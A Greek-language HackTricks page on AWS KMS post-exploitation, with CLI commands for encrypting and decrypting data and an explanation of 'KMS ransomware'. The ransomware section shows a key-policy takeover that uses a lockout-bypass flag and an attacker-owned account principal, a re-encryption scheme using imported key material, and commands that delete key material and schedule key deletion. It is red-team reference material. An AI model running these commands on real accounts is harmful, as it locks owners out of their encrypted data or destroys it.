AWS - KMS Post Exploitation

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

KMS

Για περισσότερες πληροφορίες ελέγξτε:

pageAWS - KMS Enum

Κρυπτογράφηση/Αποκρυπτογράφηση πληροφοριών

  • Χρησιμοποιώντας ένα συμμετρικό κλειδί

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Χρησιμοποιώντας ένα κλειδί ασύμμετρης κρυπτογράφησης:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Ένας επιτιθέμενος με προνομιούχη πρόσβαση στο KMS θα μπορούσε να τροποποιήσει την πολιτική των κλειδιών του KMS και να χορηγήσει πρόσβαση στο λογαριασμό του, αφαιρώντας την πρόσβαση που είχε χορηγηθεί στον νόμιμο λογαριασμό.

Στη συνέχεια, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να έχουν πρόσβαση σε οποιαδήποτε πληροφορία ή υπηρεσία που έχει κρυπτογραφηθεί με αυτά τα κλειδιά, δημιουργώντας ένα απλό αλλά αποτελεσματικό ransomware στον λογαριασμό.

Σημειώστε ότι τα διαχειριζόμενα κλειδιά του AWS δεν επηρεάζονται από αυτήν την επίθεση, μόνο τα κλειδιά που διαχειρίζεται ο πελάτης.

Επίσης, σημειώστε την ανάγκη χρήσης της παραμέτρου --bypass-policy-lockout-safety-check (η έλλειψη αυτής της επιλογής στον ιστότοπο κονσόλας κάνει αυτήν την επίθεση δυνατή μόνο μέσω της γραμμής εντολών).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Σημειώστε ότι αν αλλάξετε αυτήν την πολιτική και δώσετε πρόσβαση μόνο σε ένα εξωτερικό λογαριασμό, και στη συνέχεια από αυτόν τον εξωτερικό λογαριασμό προσπαθήσετε να ορίσετε μια νέα πολιτική για να δώσετε ξανά πρόσβαση στον αρχικό λογαριασμό, δεν θα μπορέσετε.

Γενικός Κρυπτογράφησης KMS Ransomware

Παγκόσμιος Κρυπτογράφησης KMS Ransomware

Υπάρχει ένας άλλος τρόπος για να πραγματοποιηθεί μια παγκόσμια Κρυπτογράφησης KMS Ransomware, ο οποίος θα περιλαμβάνει τα ακόλουθα βήματα:

  • Δημιουργία ενός νέου κλειδιού με υλικό κλειδιού που εισήχθη από τον εισβολέα

  • Επαν-κρυπτογράφηση παλαιότερων δεδομένων που έχουν κρυπτογραφηθεί με την προηγούμενη έκδοση με τη νέα.

  • Διαγραφή του KMS κλειδιού

  • Τώρα μόνο ο εισβολέας, που έχει το αρχικό υλικό κλειδιού, θα μπορούσε να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα

Καταστροφή κλειδιϋ

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Σημειώστε ότι η AWS τώρα εμποδίζει τις προηγούμενες ενέργειες από να πραγματοποιούνται από διαφορετικό λογαριασμό:

Μάθετε το χάκινγκ στην AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated